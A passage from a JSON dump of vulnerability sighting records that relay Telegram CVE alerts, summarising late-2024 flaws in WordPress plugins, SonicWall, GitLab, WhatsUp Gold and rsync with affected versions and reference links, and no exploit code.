2025-01-08T08:18:16.153Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/01ccc7b8-3dd4-4b83-bd53-687f7479b214?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3212434%40mas-addons-for-elementor&new=3212434%40mas-addons-for-elementor&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T09:13:03.000000Z"}, {"uuid": "84e70aba-e67a-43d8-9622-741a3b607998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12105", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/694", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12105\n\ud83d\udd39 Description: In WhatsUp Gold versions released before 2024.0.2, an authenticated user can use a\u00a0specially crafted HTTP request that can lead to information disclosure.\n\ud83d\udccf Published: 2024-12-31T10:32:08.238Z\n\ud83d\udccf Modified: 2025-01-08T13:07:04.839Z\n\ud83d\udd17 References:\n1. https://www.progress.com/network-monitoring", "creation_timestamp": "2025-01-08T14:12:20.000000Z"}, {"uuid": "3f2a3daa-2fe5-460f-83df-e21026e0d6d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/892", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12736\n\ud83d\udd39 Description: The BU Section Editing WordPress plugin through 0.9.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-09T06:00:09.513Z\n\ud83d\udccf Modified: 2025-01-09T06:00:09.513Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/d3c6a4c1-8358-4f8b-b58d-3f712052668f/", "creation_timestamp": "2025-01-09T06:17:07.000000Z"}, {"uuid": "adf5d19f-99ba-4e17-b321-c6f2c0e7dc6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12330", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/949", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12330\n\ud83d\udd39 Description: The WP Database Backup \u2013 Unlimited Database & Files Backup by Backup for WP plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.3 via publicly accessible back-up files. This makes it possible for unauthenticated attackers to extract sensitive data including all information stored in the database.\n\ud83d\udccf Published: 2025-01-09T11:10:56.083Z\n\ud83d\udccf Modified: 2025-01-09T11:10:56.083Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3f36839b-850e-4c39-aa61-4fd7a89cd5bc?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3209380%40wp-database-backup&new=3209380%40wp-database-backup&sfp_email=&sfph_mail=\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3209387%40wp-database-backup&new=3209387%40wp-database-backup&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-09T12:16:47.000000Z"}, {"uuid": "43d0a531-bac1-4a99-aa52-7ef60591d905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12285", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/948", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12285\n\ud83d\udd39 Description: The SEMA API plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018catid\u2019 parameter in all versions up to, and including, 5.27 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:56.456Z\n\ud83d\udccf Modified: 2025-01-09T11:10:56.456Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/42b9e16c-8e53-452d-9c0b-34c424d6f508?source=cve\n2. https://wordpress.org/plugins/sema-api/#developers", "creation_timestamp": "2025-01-09T12:16:41.000000Z"}, {"uuid": "9c78b19a-677b-41d1-90c9-71a0c9d1e42c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/846", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12431\n\ud83d\udd39 Description: An issue was discovered in GitLab CE/EE affecting all versions starting from 15.5 before 17.5.5, 17.6 before 17.6.3, and 17.7 before 17.7.1, in which unauthorized users could manipulate the status of issues in public projects.\n\ud83d\udccf Published: 2025-01-08T20:30:42.896Z\n\ud83d\udccf Modified: 2025-01-08T20:30:42.896Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/508742\n2. https://about.gitlab.com/releases/2025/01/08/patch-release-gitlab-17-7-1-released/#unauthorized-user-can-manipulate-status-of-issues-in-public-projects\n3. https://hackerone.com/reports/2877710", "creation_timestamp": "2025-01-08T21:14:36.000000Z"}, {"uuid": "a05a21db-fff1-4c93-9c41-b55f5a349101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12819", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/935", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12819\n\ud83d\udd39 Description: The Searchie plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sio_embed_media' shortcode in all versions up to, and including, 1.17.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:11:02.195Z\n\ud83d\udccf Modified: 2025-01-09T11:11:02.195Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8abed8c7-0c3f-4054-a116-82ce47d605de?source=cve\n2. https://plugins.trac.wordpress.org/browser/searchie/trunk/SIO/Shortcodes/WidgetsEmbed.php\n3. https://wordpress.org/plugins/searchie/", "creation_timestamp": "2025-01-09T12:15:58.000000Z"}, {"uuid": "93f9e07d-135a-425e-b266-c0c24d44d470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12567", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1352", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12567\n\ud83d\udd39 Description: The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of its form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-13T06:00:10.180Z\n\ud83d\udccf Modified: 2025-01-13T06:00:10.180Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/82051ccc-c528-4ff3-900a-3b8e8ad34145/", "creation_timestamp": "2025-01-13T06:05:58.000000Z"}, {"uuid": "b2ad659f-0f54-43ba-b658-cbe25abb64fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12621", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/940", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12621\n\ud83d\udd39 Description: The Yumpu E-Paper publishing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'YUMPU' shortcode in all versions up to, and including, 3.0.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:10:59.390Z\n\ud83d\udccf Modified: 2025-01-09T11:10:59.390Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/60c0db19-deda-4b95-a341-cf33883dc9b4?source=cve\n2. https://plugins.trac.wordpress.org/browser/yumpu-epaper-publishing/tags/3.0.8/lib/Shortcode.php#L24\n3. https://plugins.trac.wordpress.org/browser/yumpu-epaper-publishing/tags/3.0.8/lib/Shortcode.php#L81", "creation_timestamp": "2025-01-09T12:16:14.000000Z"}, {"uuid": "9efcba4b-47d2-475c-8786-aa9ff5666f9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12222", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/950", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12222\n\ud83d\udd39 Description: The Deliver via Shipos for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018dvsfw_bulk_label_url\u2019 parameter in all versions up to, and including, 2.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:55.725Z\n\ud83d\udccf Modified: 2025-01-09T11:10:55.725Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/377afb95-02d9-46b9-936d-3d58257dd928?source=cve\n2. https://wordpress.org/plugins/wc-shipos-delivery/#developers", "creation_timestamp": "2025-01-09T12:16:52.000000Z"}, {"uuid": "57de8cf4-63a6-4879-89e5-da173b494595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12472", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1263", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12472\n\ud83d\udd39 Description: The Post Duplicator plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.36 via the mtphr_duplicate_post() due to insufficient restrictions on which posts can be duplicated. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to by duplicating the post.\n\ud83d\udccf Published: 2025-01-11T02:20:53.726Z\n\ud83d\udccf Modified: 2025-01-11T02:20:53.726Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3071b2dc-9673-4e30-bd04-7404eb6a1ed9?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3219375%40post-duplicator&new=3219375%40post-duplicator&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-11T03:04:18.000000Z"}, {"uuid": "54655f67-e9b8-4781-9311-28be6652e8b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1259", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12204\n\ud83d\udd39 Description: The Coupon X: Discount Pop Up, Promo Code Pop Ups, Announcement Pop Up, WooCommerce Popups plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on several functions in the class-cx-rest.php file in all versions up to, and including, 1.3.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create 100% off coupons, delete posts, delete leads, and update coupon statuses.\n\ud83d\udccf Published: 2025-01-11T02:20:55.309Z\n\ud83d\udccf Modified: 2025-01-11T02:20:55.309Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e52d8b5e-727f-474a-a255-c24033db17d8?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3219466/coupon-x-discount-pop-up/trunk/inc/class-cx-rest.php", "creation_timestamp": "2025-01-11T03:04:06.000000Z"}, {"uuid": "3dc8c387-128b-4e71-ad99-6abf1642e6ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/897", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12714\n\ud83d\udd39 Description: The Backlink Monitoring Manager WordPress plugin through 0.1.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-09T06:00:05.935Z\n\ud83d\udccf Modified: 2025-01-09T06:00:05.935Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/f7fb2aef-16ce-4ae7-927c-2ffbc45fbda5/", "creation_timestamp": "2025-01-09T06:20:54.000000Z"}, {"uuid": "2be6730e-a69b-4e70-af9c-3dbefccdfa46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/896", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12715\n\ud83d\udd39 Description: The Asgard Security Scanner WordPress plugin through 0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-09T06:00:06.998Z\n\ud83d\udccf Modified: 2025-01-09T06:00:06.998Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e1456295-75ba-4dc2-9b1a-dc16a2000db2/", "creation_timestamp": "2025-01-09T06:19:53.000000Z"}, {"uuid": "ffc042a1-e535-4d06-9d8c-1df5e1d57451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/923", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12802\n\ud83d\udd39 Description: SSL-VPN MFA Bypass in SonicWALL SSL-VPN can arise in specific cases due to the separate handling of UPN (User Principal Name) and SAM (Security Account Manager) account names when integrated with Microsoft Active Directory, allowing MFA to be configured independently for each login method and potentially enabling attackers to bypass MFA by exploiting the alternative account name.\n\ud83d\udccf Published: 2025-01-09T09:08:26.012Z\n\ud83d\udccf Modified: 2025-01-09T09:08:26.012Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0001", "creation_timestamp": "2025-01-09T09:14:14.000000Z"}, {"uuid": "1ebf68ef-4380-41c9-a8cb-a1e963979242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/930", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12542\n\ud83d\udd39 Description: The linkID plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 0.1.2. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited.\n\ud83d\udccf Published: 2025-01-09T11:11:04.098Z\n\ud83d\udccf Modified: 2025-01-09T11:11:04.098Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b2fe5315-37b7-4009-b2e5-909e6b5ed1da?source=cve\n2. https://plugins.trac.wordpress.org/browser/linkid/trunk/lib/linkid/linkid-sdk-php/util/index.php#L1", "creation_timestamp": "2025-01-09T12:15:30.000000Z"}, {"uuid": "4d21fc6f-6d92-4e96-a898-61a8e7088b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12394", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/929", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12394\n\ud83d\udd39 Description: The Action Network plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.4. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:11:04.460Z\n\ud83d\udccf Modified: 2025-01-09T11:11:04.460Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c90dadc9-0109-4ebd-8135-3efd26682ad9?source=cve\n2. https://wordpress.org/plugins/wp-action-network/#developers", "creation_timestamp": "2025-01-09T12:15:20.000000Z"}, {"uuid": "5d021e18-1e86-4702-a7eb-747d56939be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/936", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12848\n\ud83d\udd39 Description: The SKT Page Builder plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the 'addLibraryByArchive' function in all versions up to, and including, 4.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.\n\ud83d\udccf Published: 2025-01-09T11:11:01.778Z\n\ud83d\udccf Modified: 2025-01-09T11:11:01.778Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/89e3cef3-c1aa-4df7-a9f9-1ca5837643e1?source=cve\n2. https://plugins.trac.wordpress.org/browser/skt-builder/trunk/sktbuilder.php#L960\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213786%40skt-builder&new=3213786%40skt-builder&sfp_email=&sfph_mail=\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218995%40skt-builder&new=3218995%40skt-builder&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-09T12:16:01.000000Z"}, {"uuid": "349cf761-a314-4f5b-9fe8-fb152be930e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12067", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/945", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12067\n\ud83d\udd39 Description: The WP Travel \u2013 Ultimate Travel Booking System, Tour Management Engine plugin for WordPress is vulnerable to SQL Injection via the 'booking_itinerary' parameter of the 'wptravel_get_booking_data' function in all versions up to, and including, 10.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-09T11:10:57.510Z\n\ud83d\udccf Modified: 2025-01-09T11:10:57.510Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4e0f38db-84bb-4ba9-9068-40937e78010d?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-travel/trunk/inc/helpers/helpers-stat.php#L14\n3. https://plugins.trac.wordpress.org/browser/wp-travel/trunk/inc/helpers/helpers-stat.php#L64\n4. https://plugins.trac.wordpress.org/browser/wp-travel/trunk/app/inc/admin/class-wptravel-admin-assets.php#L17\n5. https://plugins.trac.wordpress.org/browser/wp-travel/trunk/app/inc/admin/class-wptravel-admin-assets.php#L31", "creation_timestamp": "2025-01-09T12:16:31.000000Z"}, {"uuid": "43ae7891-3180-4abb-9d15-8944ed75528e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12605", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/944", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12605\n\ud83d\udd39 Description: The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.3. This is due to missing or incorrect nonce validation on the \"al_scribe_engine_request_data\" and \"al_scribe_content_data\" actions. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:57.897Z\n\ud83d\udccf Modified: 2025-01-09T11:10:57.897Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/52a8718f-2c4d-4da1-a81f-e93dff3fa43b?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-scribe-the-chatgpt-powered-seo-content-creation-wizard/trunk/article_builder.php#L713", "creation_timestamp": "2025-01-09T12:16:27.000000Z"}, {"uuid": "93390a94-2e17-4f03-97c1-8c3c8789526f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12218", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/942", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12218\n\ud83d\udd39 Description: The Woocommerce check pincode/zipcode for shipping plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.4. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:58.656Z\n\ud83d\udccf Modified: 2025-01-09T11:10:58.656Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5b79b5ae-7ce5-4065-8d7c-487df6752bc7?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-check-pincode-zipcode-for-shipping/trunk/classes/pincode-list.php#L93\n3. https://wordpress.org/plugins/woocommerce-check-pincode-zipcode-for-shipping/#developers", "creation_timestamp": "2025-01-09T12:16:21.000000Z"}, {"uuid": "382d69f5-865a-4744-bd96-4d52dcef4cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/961", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12805\n\ud83d\udd39 Description: A post-authentication format string vulnerability in SonicOS management allows a remote attacker to crash a firewall and potentially leads to code execution.\n\ud83d\udccf Published: 2025-01-09T07:24:12.357Z\n\ud83d\udccf Modified: 2025-01-09T14:54:52.273Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0004", "creation_timestamp": "2025-01-09T15:14:47.000000Z"}, {"uuid": "da9e47c4-ddc4-4837-b32d-b931e933d4f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/960", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12803\n\ud83d\udd39 Description: A post-authentication stack-based buffer overflow vulnerability in SonicOS management allows a remote attacker to crash a firewall and potentially leads to code execution.\n\ud83d\udccf Published: 2025-01-09T07:21:53.799Z\n\ud83d\udccf Modified: 2025-01-09T14:56:12.273Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0004", "creation_timestamp": "2025-01-09T15:14:45.000000Z"}, {"uuid": "02fe3733-c3e6-42c0-a9d7-e0ae15327200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1280", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12527\n\ud83d\udd39 Description: The Perfect Portal Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'perfect_portal_intake_form' shortcode in all versions up to, and including, 3.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T07:21:54.236Z\n\ud83d\udccf Modified: 2025-01-11T07:21:54.236Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bded6765-e994-46a4-8c88-c324a4fd6ee6?source=cve\n2. https://plugins.trac.wordpress.org/browser/perfect-portal-widgets/tags/3.0.3/perfect-portal-widgets.php#L330", "creation_timestamp": "2025-01-11T08:03:57.000000Z"}, {"uuid": "7cb84f11-c723-4294-8d20-07c4693b6992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3362", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12749\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Competition Form WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-29T06:31:50Z\n\ud83d\udccf Modified: 2025-01-29T06:31:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12749\n2. https://wpscan.com/vulnerability/478316b9-9f47-4aa6-92c6-03879f16a3e5", "creation_timestamp": "2025-01-29T07:10:48.000000Z"}, {"uuid": "823ceada-90b1-4b7f-833a-3d64d9d3f298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "Telegram/r7L7G8oKPBDz5OJDMt3y9E2VropIbAUYmbPTkFb7QutKGUhy", "content": "", "creation_timestamp": "2025-03-08T04:34:09.000000Z"}, {"uuid": "dfd6c110-5fb0-4a22-9a54-8531a1727322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1551", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12747\n\ud83d\udd39 Description: A flaw was found in rsync. This vulnerability arises from a race condition during rsync's handling of symbolic links. Rsync's default behavior when encountering symbolic links is to skip them. If an attacker replaced a regular file with a symbolic link at the right time, it was possible to bypass the default behavior and traverse symbolic links. Depending on the privileges of the rsync process, an attacker could leak sensitive information, potentially leading to privilege escalation.\n\ud83d\udccf Published: 2025-01-14T17:39:16.031Z\n\ud83d\udccf Modified: 2025-01-14T17:39:16.031Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12747\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2332968", "creation_timestamp": "2025-01-14T18:09:37.000000Z"}, {"uuid": "acf9bfec-dc45-4884-8943-894441dfca8d", "vulnerability_lookup_origin": 